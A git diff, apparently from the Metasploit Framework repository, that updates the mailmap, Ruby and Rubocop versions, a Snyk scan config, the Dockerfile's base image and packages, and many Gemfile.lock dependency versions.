94657d317ba4ecaa7f58bfc227b7e4a0bbec167e:documentation/modules/auxiliary/gather/python_flask_cookie_signer.md:99
|
||||
@@ -1,4 +1,5 @@
|
||||
adfoster-r7 <adfoster-r7@github> <alandavid_foster@rapid7.com>
|
||||
adeherdt-r7 <adeherdt-r7@github> Arne De Herdt <arne_deherdt@rapid7.com>
|
||||
bwatters-r7 <bwatters-r7@github> <bwatters@rapid7.com>
|
||||
cdelafuente-r7 <cdelafuente-r7@github> Christophe De La Fuente <christophe_delafuente@rapid7.com>
|
||||
cdoughty-r7 <cdoughty-r7@github> <chris_doughty@rapid7.com>
|
||||
@@ -15,6 +16,7 @@ space-r7 <space-r7@github> <shelby_pace@rapid7.com>
|
||||
todb-r7 <todb-r7@github> <tod_beardsley@rapid7.com>
|
||||
todb-r7 <todb-r7@github> <todb@metasploit.com>
|
||||
todb-r7 <todb-r7@github> <todb@packetfu.com>
|
||||
dledda-r7 <dledda-r7@github> <diego_ledda@rapid7.com>
|
||||
|
||||
# Above this line are current Rapid7 employees. Below this paragraph are
|
||||
# volunteers, former employees, and potential Rapid7 employees who, at
|
||||
|
||||
+1
-1
@@ -9,7 +9,7 @@
|
||||
# inherit_from: .rubocop_todo.yml
|
||||
|
||||
AllCops:
|
||||
TargetRubyVersion: 2.6
|
||||
TargetRubyVersion: 2.7
|
||||
SuggestExtensions: false
|
||||
NewCops: disable
|
||||
|
||||
|
||||
+1
-1
@@ -1 +1 @@
|
||||
3.0.5
|
||||
3.2.5
|
||||
|
||||
@@ -0,0 +1,9 @@
|
||||
version: v1.25.0
|
||||
ignore: {}
|
||||
patch: {}
|
||||
exclude:
|
||||
global:
|
||||
# exclude unit tests which contain hard coded passwords and encrypting keys for testing purposes.
|
||||
- spec/
|
||||
# exclude the source code to local exploits and utilities which have to be written in a particular way to exploit the vulnerabilities that we're targeting.
|
||||
- external/source/
|
||||
+17
-10
@@ -1,7 +1,8 @@
|
||||
FROM ruby:3.0.5-alpine3.15 AS builder
|
||||
FROM ruby:3.2.5-alpine3.20 AS builder
|
||||
LABEL maintainer="Rapid7"
|
||||
|
||||
ARG BUNDLER_CONFIG_ARGS="set clean 'true' set no-cache 'true' set system 'true' set without 'development test coverage'"
|
||||
ARG BUNDLER_CONFIG_ARGS="set no-cache 'true' set system 'true' set without 'development test coverage'"
|
||||
ARG BUNDLER_FORCE_CLEAN="true"
|
||||
ENV APP_HOME=/usr/src/metasploit-framework
|
||||
ENV TOOLS_HOME=/usr/src/tools
|
||||
ENV BUNDLE_IGNORE_MESSAGES="true"
|
||||
@@ -33,8 +34,11 @@ RUN apk add --no-cache \
|
||||
go \
|
||||
&& echo "gem: --no-document" > /etc/gemrc \
|
||||
&& gem update --system \
|
||||
&& bundle config $BUNDLER_ARGS \
|
||||
&& bundle config $BUNDLER_CONFIG_ARGS \
|
||||
&& bundle install --jobs=8 \
|
||||
&& if [ "${BUNDLER_FORCE_CLEAN}" == "true" ]; then \
|
||||
bundle clean --force; \
|
||||
fi \
|
||||
# temp fix for https://github.com/bundler/bundler/issues/6680
|
||||
&& rm -rf /usr/local/bundle/cache \
|
||||
# needed so non root users can read content of the bundle
|
||||
@@ -49,8 +53,9 @@ RUN mkdir -p $TOOLS_HOME/bin && \
|
||||
cd go/src && \
|
||||
./make.bash
|
||||
|
||||
FROM ruby:3.0.5-alpine3.15
|
||||
FROM ruby:3.2.5-alpine3.20
|
||||
LABEL maintainer="Rapid7"
|
||||
ARG TARGETARCH
|
||||
|
||||
ENV APP_HOME=/usr/src/metasploit-framework
|
||||
ENV TOOLS_HOME=/usr/src/tools
|
||||
@@ -60,9 +65,14 @@ ENV METASPLOIT_GROUP=metasploit
|
||||
# used for the copy command
|
||||
RUN addgroup -S $METASPLOIT_GROUP
|
||||
|
||||
RUN apk add --no-cache bash sqlite-libs nmap nmap-scripts nmap-nselibs \
|
||||
postgresql-libs python3 py3-pip ncurses libcap su-exec alpine-sdk \
|
||||
openssl-dev nasm mingw-w64-gcc
|
||||
RUN apk add --no-cache curl bash sqlite-libs nmap nmap-scripts nmap-nselibs \
|
||||
postgresql-libs python3 py3-pip py3-impacket py3-requests ncurses libcap su-exec alpine-sdk \
|
||||
openssl-dev nasm
|
||||
RUN\
|
||||
if [ "${TARGETARCH}" = "arm64" ];\
|
||||
then apk add --no-cache gcc musl-dev python3-dev libffi-dev gcompat;\
|
||||
else apk add --no-cache mingw-w64-gcc;\
|
||||
fi
|
||||
|
||||
RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which ruby)
|
||||
RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which nmap)
|
||||
@@ -75,9 +85,6 @@ RUN chown -R root:metasploit $APP_HOME/
|
||||
RUN chmod 664 $APP_HOME/Gemfile.lock
|
||||
RUN gem update --system
|
||||
RUN cp -f $APP_HOME/docker/database.yml $APP_HOME/config/database.yml
|
||||
RUN curl -L -O https://raw.githubusercontent.com/pypa/get-pip/f84b65709d4b20221b7dbee900dbf9985a81b5d4/public/get-pip.py && python3 get-pip.py && rm get-pip.py
|
||||
RUN pip install impacket
|
||||
RUN pip install requests
|
||||
|
||||
ENV GOPATH=$TOOLS_HOME/go
|
||||
ENV GOROOT=$TOOLS_HOME/bin/go
|
||||
|
||||
@@ -52,3 +52,4 @@ group :test do
|
||||
# Manipulate Time.now in specs
|
||||
gem 'timecop'
|
||||
end
|
||||
|
||||
|
||||
+204
-179
@@ -1,7 +1,9 @@
|
||||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (6.3.45)
|
||||
metasploit-framework (6.4.36)
|
||||
aarch64
|
||||
abbrev
|
||||
actionpack (~> 7.0.0)
|
||||
activerecord (~> 7.0.0)
|
||||
activesupport (~> 7.0.0)
|
||||
@@ -10,20 +12,27 @@ PATH
|
||||
aws-sdk-iam
|
||||
aws-sdk-s3
|
||||
aws-sdk-ssm
|
||||
base64
|
||||
bcrypt
|
||||
bcrypt_pbkdf
|
||||
bigdecimal
|
||||
bootsnap
|
||||
bson
|
||||
chunky_png
|
||||
csv
|
||||
dnsruby
|
||||
drb
|
||||
ed25519
|
||||
elftools
|
||||
em-http-request
|
||||
eventmachine
|
||||
faker
|
||||
faraday
|
||||
faraday (= 2.7.11)
|
||||
faraday-retry
|
||||
faye-websocket
|
||||
ffi (< 1.17.0)
|
||||
filesize
|
||||
getoptlong
|
||||
hrr_rb_ssh-ed25519
|
||||
http-cookie
|
||||
irb (~> 1.7.4)
|
||||
@@ -33,19 +42,21 @@ PATH
|
||||
metasploit-concern
|
||||
metasploit-credential
|
||||
metasploit-model
|
||||
metasploit-payloads (= 2.0.159)
|
||||
metasploit-payloads (= 2.0.187)
|
||||
metasploit_data_models
|
||||
metasploit_payloads-mettle (= 1.0.26)
|
||||
metasploit_payloads-mettle (= 1.0.35)
|
||||
mqtt
|
||||
msgpack (~> 1.6.0)
|
||||
mutex_m
|
||||
nessus_rest
|
||||
net-imap
|
||||
net-ldap
|
||||
net-sftp
|
||||
net-smtp
|
||||
net-ssh
|
||||
network_interface
|
||||
nexpose
|
||||
nokogiri (~> 1.14.0)
|
||||
nokogiri
|
||||
octokit (~> 4.0)
|
||||
openssl-ccm
|
||||
openvas-omp
|
||||
@@ -56,10 +67,11 @@ PATH
|
||||
pg
|
||||
puma
|
||||
railties
|
||||
rasn1
|
||||
rasn1 (= 0.13.0)
|
||||
rb-readline
|
||||
recog
|
||||
redcarpet
|
||||
reline
|
||||
rex-arch
|
||||
rex-bin_tools
|
||||
rex-core
|
||||
@@ -80,11 +92,11 @@ PATH
|
||||
rex-zip
|
||||
ruby-macho
|
||||
ruby-mysql
|
||||
ruby_smb (~> 3.2.0)
|
||||
ruby_smb (~> 3.3.3)
|
||||
rubyntlm
|
||||
rubyzip
|
||||
sinatra
|
||||
sqlite3
|
||||
sqlite3 (= 1.7.3)
|
||||
sshkey
|
||||
swagger-blocks
|
||||
thin
|
||||
@@ -102,121 +114,129 @@ PATH
|
||||
GEM
|
||||
remote: https://rubygems.org/
|
||||
specs:
|
||||
Ascii85 (1.1.0)
|
||||
actionpack (7.0.8)
|
||||
actionview (= 7.0.8)
|
||||
activesupport (= 7.0.8)
|
||||
Ascii85 (1.1.1)
|
||||
aarch64 (2.1.0)
|
||||
racc (~> 1.6)
|
||||
abbrev (0.1.2)
|
||||
actionpack (7.0.8.6)
|
||||
actionview (= 7.0.8.6)
|
||||
activesupport (= 7.0.8.6)
|
||||
rack (~> 2.0, >= 2.2.4)
|
||||
rack-test (>= 0.6.3)
|
||||
rails-dom-testing (~> 2.0)
|
||||
rails-html-sanitizer (~> 1.0, >= 1.2.0)
|
||||
actionview (7.0.8)
|
||||
activesupport (= 7.0.8)
|
||||
actionview (7.0.8.6)
|
||||
activesupport (= 7.0.8.6)
|
||||
builder (~> 3.1)
|
||||
erubi (~> 1.4)
|
||||
rails-dom-testing (~> 2.0)
|
||||
rails-html-sanitizer (~> 1.1, >= 1.2.0)
|
||||
activemodel (7.0.8)
|
||||
activesupport (= 7.0.8)
|
||||
activerecord (7.0.8)
|
||||
activemodel (= 7.0.8)
|
||||
activesupport (= 7.0.8)
|
||||
activesupport (7.0.8)
|
||||
activemodel (7.0.8.6)
|
||||
activesupport (= 7.0.8.6)
|
||||
activerecord (7.0.8.6)
|
||||
activemodel (= 7.0.8.6)
|
||||
activesupport (= 7.0.8.6)
|
||||
activesupport (7.0.8.6)
|
||||
concurrent-ruby (~> 1.0, >= 1.0.2)
|
||||
i18n (>= 1.6, < 2)
|
||||
minitest (>= 5.1)
|
||||
tzinfo (~> 2.0)
|
||||
addressable (2.8.5)
|
||||
public_suffix (>= 2.0.2, < 6.0)
|
||||
addressable (2.8.7)
|
||||
public_suffix (>= 2.0.2, < 7.0)
|
||||
afm (0.2.2)
|
||||
allure-rspec (2.23.0)
|
||||
allure-ruby-commons (= 2.23.0)
|
||||
allure-rspec (2.24.5)
|
||||
allure-ruby-commons (= 2.24.5)
|
||||
rspec-core (>= 3.8, < 4)
|
||||
allure-ruby-commons (2.23.0)
|
||||
allure-ruby-commons (2.24.5)
|
||||
mime-types (>= 3.3, < 4)
|
||||
require_all (>= 2, < 4)
|
||||
rspec-expectations (~> 3.12)
|
||||
uuid (>= 2.3, < 3)
|
||||
arel-helpers (2.14.0)
|
||||
arel-helpers (2.15.0)
|
||||
activerecord (>= 3.1.0, < 8)
|
||||
ast (2.4.2)
|
||||
aws-eventstream (1.2.0)
|
||||
aws-partitions (1.834.0)
|
||||
aws-sdk-core (3.185.1)
|
||||
aws-eventstream (~> 1, >= 1.0.2)
|
||||
aws-partitions (~> 1, >= 1.651.0)
|
||||
aws-sigv4 (~> 1.5)
|
||||
aws-eventstream (1.3.0)
|
||||
aws-partitions (1.999.0)
|
||||
aws-sdk-core (3.211.0)
|
||||
aws-eventstream (~> 1, >= 1.3.0)
|
||||
aws-partitions (~> 1, >= 1.992.0)
|
||||
aws-sigv4 (~> 1.9)
|
||||
jmespath (~> 1, >= 1.6.1)
|
||||
aws-sdk-ec2 (1.411.0)
|
||||
aws-sdk-core (~> 3, >= 3.184.0)
|
||||
aws-sigv4 (~> 1.1)
|
||||
aws-sdk-ec2instanceconnect (1.34.0)
|
||||
aws-sdk-core (~> 3, >= 3.184.0)
|
||||
aws-sigv4 (~> 1.1)
|
||||
aws-sdk-iam (1.87.0)
|
||||
aws-sdk-core (~> 3, >= 3.184.0)
|
||||
aws-sigv4 (~> 1.1)
|
||||
aws-sdk-kms (1.72.0)
|
||||
aws-sdk-core (~> 3, >= 3.184.0)
|
||||
aws-sigv4 (~> 1.1)
|
||||
aws-sdk-s3 (1.136.0)
|
||||
aws-sdk-core (~> 3, >= 3.181.0)
|
||||
aws-sdk-ec2 (1.486.0)
|
||||
aws-sdk-core (~> 3, >= 3.210.0)
|
||||
aws-sigv4 (~> 1.5)
|
||||
aws-sdk-ec2instanceconnect (1.52.0)
|
||||
aws-sdk-core (~> 3, >= 3.210.0)
|
||||
aws-sigv4 (~> 1.5)
|
||||
aws-sdk-iam (1.112.0)
|
||||
aws-sdk-core (~> 3, >= 3.210.0)
|
||||
aws-sigv4 (~> 1.5)
|
||||
aws-sdk-kms (1.95.0)
|
||||
aws-sdk-core (~> 3, >= 3.210.0)
|
||||
aws-sigv4 (~> 1.5)
|
||||
aws-sdk-s3 (1.169.0)
|
||||
aws-sdk-core (~> 3, >= 3.210.0)
|
||||
aws-sdk-kms (~> 1)
|
||||
aws-sigv4 (~> 1.6)
|
||||
aws-sdk-ssm (1.158.0)
|
||||
aws-sdk-core (~> 3, >= 3.184.0)
|
||||
aws-sigv4 (~> 1.1)
|
||||
aws-sigv4 (1.6.0)
|
||||
aws-sigv4 (~> 1.5)
|
||||
aws-sdk-ssm (1.183.0)
|
||||
aws-sdk-core (~> 3, >= 3.210.0)
|
||||
aws-sigv4 (~> 1.5)
|
||||
aws-sigv4 (1.10.1)
|
||||
aws-eventstream (~> 1, >= 1.0.2)
|
||||
base64 (0.1.1)
|
||||
bcrypt (3.1.19)
|
||||
bcrypt_pbkdf (1.1.0)
|
||||
base64 (0.2.0)
|
||||
bcrypt (3.1.20)
|
||||
bcrypt_pbkdf (1.1.1)
|
||||
bigdecimal (3.1.8)
|
||||
bindata (2.4.15)
|
||||
bootsnap (1.16.0)
|
||||
bootsnap (1.18.4)
|
||||
msgpack (~> 1.2)
|
||||
bson (4.15.0)
|
||||
builder (3.2.4)
|
||||
bson (5.0.1)
|
||||
builder (3.3.0)
|
||||
byebug (11.1.3)
|
||||
chunky_png (1.4.0)
|
||||
coderay (1.1.3)
|
||||
concurrent-ruby (1.2.2)
|
||||
cookiejar (0.3.3)
|
||||
concurrent-ruby (1.3.4)
|
||||
cookiejar (0.3.4)
|
||||
crass (1.0.6)
|
||||
csv (3.3.0)
|
||||
daemons (1.4.1)
|
||||
date (3.3.3)
|
||||
date (3.3.4)
|
||||
debug (1.8.0)
|
||||
irb (>= 1.5.0)
|
||||
reline (>= 0.3.1)
|
||||
diff-lcs (1.5.0)
|
||||
dnsruby (1.70.0)
|
||||
diff-lcs (1.5.1)
|
||||
dnsruby (1.72.2)
|
||||
simpleidn (~> 0.2.1)
|
||||
docile (1.4.0)
|
||||
domain_name (0.5.20190701)
|
||||
unf (>= 0.0.5, < 1.0.0)
|
||||
docile (1.4.1)
|
||||
domain_name (0.6.20240107)
|
||||
drb (2.2.1)
|
||||
ed25519 (1.3.0)
|
||||
elftools (1.3.1)
|
||||
bindata (~> 2)
|
||||
em-http-request (1.1.7)
|
||||
addressable (>= 2.3.4)
|
||||
cookiejar (!= 0.3.1)
|
||||
em-socksify (>= 0.3)
|
||||
eventmachine (>= 1.0.3)
|
||||
http_parser.rb (>= 0.6.0)
|
||||
em-socksify (0.3.2)
|
||||
em-socksify (0.3.3)
|
||||
base64
|
||||
eventmachine (>= 1.0.0.beta.4)
|
||||
erubi (1.12.0)
|
||||
erubi (1.13.0)
|
||||
eventmachine (1.2.7)
|
||||
factory_bot (6.2.1)
|
||||
factory_bot (6.5.0)
|
||||
activesupport (>= 5.0.0)
|
||||
factory_bot_rails (6.2.0)
|
||||
factory_bot (~> 6.2.0)
|
||||
factory_bot_rails (6.4.4)
|
||||
factory_bot (~> 6.5)
|
||||
railties (>= 5.0.0)
|
||||
faker (3.2.1)
|
||||
faker (3.5.1)
|
||||
i18n (>= 1.8.11, < 2)
|
||||
faraday (2.7.11)
|
||||
base64
|
||||
faraday-net_http (>= 2.0, < 3.1)
|
||||
ruby2_keywords (>= 0.0.4)
|
||||
faraday-net_http (3.0.2)
|
||||
faraday-retry (2.2.0)
|
||||
faraday-retry (2.2.1)
|
||||
faraday (~> 2.0)
|
||||
faye-websocket (0.11.3)
|
||||
eventmachine (>= 0.12.0)
|
||||
@@ -224,6 +244,7 @@ GEM
|
||||
ffi (1.16.3)
|
||||
filesize (0.2.0)
|
||||
fivemat (1.3.7)
|
||||
getoptlong (0.2.1)
|
||||
gssapi (1.3.1)
|
||||
ffi (>= 1.0.1)
|
||||
gyoku (1.4.0)
|
||||
@@ -234,37 +255,38 @@ GEM
|
||||
hrr_rb_ssh-ed25519 (0.4.2)
|
||||
ed25519 (~> 1.2)
|
||||
hrr_rb_ssh (>= 0.4)
|
||||
http-cookie (1.0.5)
|
||||
http-cookie (1.0.7)
|
||||
domain_name (~> 0.5)
|
||||
http_parser.rb (0.8.0)
|
||||
httpclient (2.8.3)
|
||||
i18n (1.14.1)
|
||||
i18n (1.14.6)
|
||||
concurrent-ruby (~> 1.0)
|
||||
io-console (0.6.0)
|
||||
io-console (0.7.2)
|
||||
irb (1.7.4)
|
||||
reline (>= 0.3.6)
|
||||
jmespath (1.6.2)
|
||||
jsobfu (0.4.2)
|
||||
rkelly-remix
|
||||
json (2.6.3)
|
||||
json (2.7.5)
|
||||
language_server-protocol (3.17.0.3)
|
||||
little-plugger (1.1.4)
|
||||
logging (2.3.1)
|
||||
logger (1.6.1)
|
||||
logging (2.4.0)
|
||||
little-plugger (~> 1.1)
|
||||
multi_json (~> 1.14)
|
||||
loofah (2.21.3)
|
||||
loofah (2.23.1)
|
||||
crass (~> 1.0.2)
|
||||
nokogiri (>= 1.12.0)
|
||||
macaddr (1.7.2)
|
||||
systemu (~> 2.6.5)
|
||||
memory_profiler (1.0.1)
|
||||
memory_profiler (1.1.0)
|
||||
metasm (1.0.5)
|
||||
metasploit-concern (5.0.2)
|
||||
metasploit-concern (5.0.3)
|
||||
activemodel (~> 7.0)
|
||||
activesupport (~> 7.0)
|
||||
railties (~> 7.0)
|
||||
zeitwerk
|
||||
metasploit-credential (6.0.6)
|
||||
metasploit-credential (6.0.11)
|
||||
metasploit-concern
|
||||
metasploit-model
|
||||
metasploit_data_models (>= 5.0.0)
|
||||
@@ -278,8 +300,8 @@ GEM
|
||||
activemodel (~> 7.0)
|
||||
activesupport (~> 7.0)
|
||||
railties (~> 7.0)
|
||||
metasploit-payloads (2.0.159)
|
||||
metasploit_data_models (6.0.3)
|
||||
metasploit-payloads (2.0.187)
|
||||
metasploit_data_models (6.0.5)
|
||||
activerecord (~> 7.0)
|
||||
activesupport (~> 7.0)
|
||||
arel-helpers
|
||||
@@ -289,35 +311,40 @@ GEM
|
||||
railties (~> 7.0)
|
||||
recog
|
||||
webrick
|
||||
metasploit_payloads-mettle (1.0.26)
|
||||
method_source (1.0.0)
|
||||
mime-types (3.5.1)
|
||||
metasploit_payloads-mettle (1.0.35)
|
||||
method_source (1.1.0)
|
||||
mime-types (3.6.0)
|
||||
logger
|
||||
mime-types-data (~> 3.2015)
|
||||
mime-types-data (3.2023.1003)
|
||||
mini_portile2 (2.8.4)
|
||||
minitest (5.20.0)
|
||||
mime-types-data (3.2024.1001)
|
||||
mini_portile2 (2.8.7)
|
||||
minitest (5.25.1)
|
||||
mqtt (0.6.0)
|
||||
msgpack (1.6.1)
|
||||
multi_json (1.15.0)
|
||||
mustermann (3.0.0)
|
||||
mustermann (3.0.3)
|
||||
ruby2_keywords (~> 0.0.1)
|
||||
mutex_m (0.2.0)
|
||||
nessus_rest (0.1.6)
|
||||
net-imap (0.4.0)
|
||||
net-imap (0.5.0)
|
||||
date
|
||||
net-protocol
|
||||
net-ldap (0.18.0)
|
||||
net-protocol (0.2.1)
|
||||
net-ldap (0.19.0)
|
||||
net-protocol (0.2.2)
|
||||
timeout
|
||||
net-smtp (0.4.0)
|
||||
net-sftp (4.0.0)
|
||||
net-ssh (>= 5.0.0, < 8.0.0)
|
||||
net-smtp (0.5.0)
|
||||
net-protocol
|
||||
net-ssh (7.2.0)
|
||||
net-ssh (7.3.0)
|
||||
network_interface (0.0.4)
|
||||
nexpose (7.3.0)
|
||||
nio4r (2.5.9)
|
||||
nokogiri (1.14.5)
|
||||
mini_portile2 (~> 2.8.0)
|
||||
nio4r (2.7.4)
|
||||
nokogiri (1.16.7)
|
||||
mini_portile2 (~> 2.8.2)
|
||||
racc (~> 1.4)
|
||||
nori (2.6.0)
|
||||
nori (2.7.1)
|
||||
bigdecimal
|
||||
octokit (4.25.1)
|
||||
faraday (>= 1, < 3)
|
||||
sawyer (~> 0.9)
|
||||
@@ -326,31 +353,32 @@ GEM
|
||||
openvas-omp (0.0.4)
|
||||
packetfu (2.0.0)
|
||||
pcaprub (~> 0.13.1)
|
||||
parallel (1.23.0)
|
||||
parser (3.2.2.4)
|
||||
parallel (1.26.3)
|
||||
parser (3.3.5.0)
|
||||
ast (~> 2.4.1)
|
||||
racc
|
||||
patch_finder (1.0.2)
|
||||
pcaprub (0.13.1)
|
||||
pdf-reader (2.11.0)
|
||||
pcaprub (0.13.3)
|
||||
pdf-reader (2.12.0)
|
||||
Ascii85 (~> 1.0)
|
||||
afm (~> 0.2.1)
|
||||
hashery (~> 2.0)
|
||||
ruby-rc4
|
||||
ttfunk
|
||||
pg (1.5.4)
|
||||
pg (1.5.9)
|
||||
pry (0.14.2)
|
||||
coderay (~> 1.1)
|
||||
method_source (~> 1.0)
|
||||
pry-byebug (3.10.1)
|
||||
byebug (~> 11.0)
|
||||
pry (>= 0.13, < 0.15)
|
||||
public_suffix (5.0.3)
|
||||
puma (6.4.0)
|
||||
public_suffix (6.0.1)
|
||||
puma (6.4.3)
|
||||
nio4r (~> 2.0)
|
||||
racc (1.7.1)
|
||||
rack (2.2.8)
|
||||
rack-protection (3.1.0)
|
||||
racc (1.8.1)
|
||||
rack (2.2.10)
|
||||
rack-protection (3.2.0)
|
||||
base64 (>= 0.1.0)
|
||||
rack (~> 2.2, >= 2.2.4)
|
||||
rack-test (2.1.0)
|
||||
rack (>= 1.3)
|
||||
@@ -361,26 +389,26 @@ GEM
|
||||
rails-html-sanitizer (1.6.0)
|
||||
loofah (~> 2.21)
|
||||
nokogiri (~> 1.14)
|
||||
railties (7.0.8)
|
||||
actionpack (= 7.0.8)
|
||||
activesupport (= 7.0.8)
|
||||
railties (7.0.8.6)
|
||||
actionpack (= 7.0.8.6)
|
||||
activesupport (= 7.0.8.6)
|
||||
method_source
|
||||
rake (>= 12.2)
|
||||
thor (~> 1.0)
|
||||
zeitwerk (~> 2.5)
|
||||
rainbow (3.1.1)
|
||||
rake (13.0.6)
|
||||
rasn1 (0.12.1)
|
||||
rake (13.2.1)
|
||||
rasn1 (0.13.0)
|
||||
strptime (~> 0.2.5)
|
||||
rb-readline (0.5.5)
|
||||
recog (3.1.2)
|
||||
recog (3.1.11)
|
||||
nokogiri
|
||||
redcarpet (3.6.0)
|
||||
regexp_parser (2.8.1)
|
||||
reline (0.3.8)
|
||||
regexp_parser (2.9.2)
|
||||
reline (0.5.10)
|
||||
io-console (~> 0.5)
|
||||
require_all (3.0.0)
|
||||
rex-arch (0.1.15)
|
||||
rex-arch (0.1.16)
|
||||
rex-text
|
||||
rex-bin_tools (0.1.9)
|
||||
metasm
|
||||
@@ -388,12 +416,12 @@ GEM
|
||||
rex-core
|
||||
rex-struct2
|
||||
rex-text
|
||||
rex-core (0.1.31)
|
||||
rex-core (0.1.32)
|
||||
rex-encoder (0.1.7)
|
||||
metasm
|
||||
rex-arch
|
||||
rex-text
|
||||
rex-exploitation (0.1.39)
|
||||
rex-exploitation (0.1.40)
|
||||
jsobfu
|
||||
metasm
|
||||
rex-arch
|
||||
@@ -407,79 +435,78 @@ GEM
|
||||
rex-arch
|
||||
rex-ole (0.1.8)
|
||||
rex-text
|
||||
rex-powershell (0.1.99)
|
||||
rex-powershell (0.1.100)
|
||||
rex-random_identifier
|
||||
rex-text
|
||||
ruby-rc4
|
||||
rex-random_identifier (0.1.11)
|
||||
rex-random_identifier (0.1.12)
|
||||
rex-text
|
||||
rex-registry (0.1.5)
|
||||
rex-rop_builder (0.1.5)
|
||||
metasm
|
||||
rex-core
|
||||
rex-text
|
||||
rex-socket (0.1.54)
|
||||
rex-socket (0.1.57)
|
||||
rex-core
|
||||
rex-sslscan (0.1.10)
|
||||
rex-core
|
||||
rex-socket
|
||||
rex-text
|
||||
rex-struct2 (0.1.4)
|
||||
rex-text (0.2.53)
|
||||
rex-text (0.2.59)
|
||||
rex-zip (0.1.5)
|
||||
rex-text
|
||||
rexml (3.2.6)
|
||||
rexml (3.3.9)
|
||||
rkelly-remix (0.0.7)
|
||||
rspec (3.12.0)
|
||||
rspec-core (~> 3.12.0)
|
||||
rspec-expectations (~> 3.12.0)
|
||||
rspec-mocks (~> 3.12.0)
|
||||
rspec-core (3.12.2)
|
||||
rspec-support (~> 3.12.0)
|
||||
rspec-expectations (3.12.3)
|
||||
rspec (3.13.0)
|
||||
rspec-core (~> 3.13.0)
|
||||
rspec-expectations (~> 3.13.0)
|
||||
rspec-mocks (~> 3.13.0)
|
||||
rspec-core (3.13.2)
|
||||
rspec-support (~> 3.13.0)
|
||||
rspec-expectations (3.13.3)
|
||||
diff-lcs (>= 1.2.0, < 2.0)
|
||||
rspec-support (~> 3.12.0)
|
||||
rspec-mocks (3.12.6)
|
||||
rspec-support (~> 3.13.0)
|
||||
rspec-mocks (3.13.2)
|
||||
diff-lcs (>= 1.2.0, < 2.0)
|
||||
rspec-support (~> 3.12.0)
|
||||
rspec-rails (6.0.3)
|
||||
actionpack (>= 6.1)
|
||||
activesupport (>= 6.1)
|
||||
railties (>= 6.1)
|
||||
rspec-core (~> 3.12)
|
||||
rspec-expectations (~> 3.12)
|
||||
rspec-mocks (~> 3.12)
|
||||
rspec-support (~> 3.12)
|
||||
rspec-support (~> 3.13.0)
|
||||
rspec-rails (7.0.1)
|
||||
actionpack (>= 7.0)
|
||||
activesupport (>= 7.0)
|
||||
railties (>= 7.0)
|
||||
rspec-core (~> 3.13)
|
||||
rspec-expectations (~> 3.13)
|
||||
rspec-mocks (~> 3.13)
|
||||
rspec-support (~> 3.13)
|
||||
rspec-rerun (1.1.0)
|
||||
rspec (~> 3.0)
|
||||
rspec-support (3.12.1)
|
||||
rubocop (1.56.4)
|
||||
base64 (~> 0.1.1)
|
||||
rspec-support (3.13.1)
|
||||
rubocop (1.67.0)
|
||||
json (~> 2.3)
|
||||
language_server-protocol (>= 3.17.0)
|
||||
parallel (~> 1.10)
|
||||
parser (>= 3.2.2.3)
|
||||
parser (>= 3.3.0.2)
|
||||
rainbow (>= 2.2.2, < 4.0)
|
||||
regexp_parser (>= 1.8, < 3.0)
|
||||
rexml (>= 3.2.5, < 4.0)
|
||||
rubocop-ast (>= 1.28.1, < 2.0)
|
||||
regexp_parser (>= 2.4, < 3.0)
|
||||
rubocop-ast (>= 1.32.2, < 2.0)
|
||||
ruby-progressbar (~> 1.7)
|
||||
unicode-display_width (>= 2.4.0, < 3.0)
|
||||
rubocop-ast (1.29.0)
|
||||
parser (>= 3.2.1.0)
|
||||
ruby-macho (4.0.0)
|
||||
rubocop-ast (1.33.0)
|
||||
parser (>= 3.3.1.0)
|
||||
ruby-macho (4.1.0)
|
||||
ruby-mysql (4.1.0)
|
||||
ruby-prof (1.4.2)
|
||||
ruby-progressbar (1.13.0)
|
||||
ruby-rc4 (0.1.5)
|
||||
ruby2_keywords (0.0.5)
|
||||
ruby_smb (3.2.6)
|
||||
bindata
|
||||
ruby_smb (3.3.10)
|
||||
bindata (= 2.4.15)
|
||||
openssl-ccm
|
||||
openssl-cmac
|
||||
rubyntlm
|
||||
windows_error (>= 0.1.4)
|
||||
rubyntlm (0.6.3)
|
||||
rubyntlm (0.6.5)
|
||||
base64
|
||||
rubyzip (2.3.2)
|
||||
sawyer (0.9.2)
|
||||
addressable (>= 2.3.5)
|
||||
@@ -487,65 +514,63 @@ GEM
|
||||
simplecov (0.18.2)
|
||||
docile (~> 1.1)
|
||||
simplecov-html (~> 0.11)
|
||||
simplecov-html (0.12.3)
|
||||
simpleidn (0.2.1)
|
||||
unf (~> 0.1.4)
|
||||
sinatra (3.1.0)
|
||||
simplecov-html (0.13.1)
|
||||
simpleidn (0.2.3)
|
||||
sinatra (3.2.0)
|
||||
mustermann (~> 3.0)
|
||||
rack (~> 2.2, >= 2.2.4)
|
||||
rack-protection (= 3.1.0)
|
||||
rack-protection (= 3.2.0)
|
||||
tilt (~> 2.0)
|
||||
sqlite3 (1.6.6)
|
||||
sqlite3 (1.7.3)
|
||||
mini_portile2 (~> 2.8.0)
|
||||
sshkey (3.0.0)
|
||||
strptime (0.2.5)
|
||||
swagger-blocks (3.0.0)
|
||||
systemu (2.6.5)
|
||||
test-prof (1.2.3)
|
||||
test-prof (1.4.2)
|
||||
thin (1.8.2)
|
||||
daemons (~> 1.0, >= 1.0.9)
|
||||
eventmachine (~> 1.0, >= 1.0.4)
|
||||
rack (>= 1, < 3)
|
||||
thor (1.2.2)
|
||||
tilt (2.3.0)
|
||||
timecop (0.9.8)
|
||||
timeout (0.4.0)
|
||||
ttfunk (1.7.0)
|
||||
thor (1.3.2)
|
||||
tilt (2.4.0)
|
||||
timecop (0.9.10)
|
||||
timeout (0.4.1)
|
||||
ttfunk (1.8.0)
|
||||
bigdecimal (~> 3.1)
|
||||
tzinfo (2.0.6)
|
||||
concurrent-ruby (~> 1.0)
|
||||
tzinfo-data (1.2023.3)
|
||||
tzinfo-data (1.2024.2)
|
||||
tzinfo (>= 1.0.0)
|
||||
unf (0.1.4)
|
||||
unf_ext
|
||||
unf_ext (0.0.8.2)
|
||||
unicode-display_width (2.5.0)
|
||||
unicode-display_width (2.6.0)
|
||||
unix-crypt (1.3.1)
|
||||
uuid (2.3.9)
|
||||
macaddr (~> 1.0)
|
||||
warden (1.2.9)
|
||||
rack (>= 2.0.9)
|
||||
webrick (1.8.1)
|
||||
webrick (1.8.2)
|
||||
websocket-driver (0.7.6)
|
||||
websocket-extensions (>= 0.1.0)
|
||||
websocket-extensions (0.1.5)
|
||||
win32api (0.1.0)
|
||||
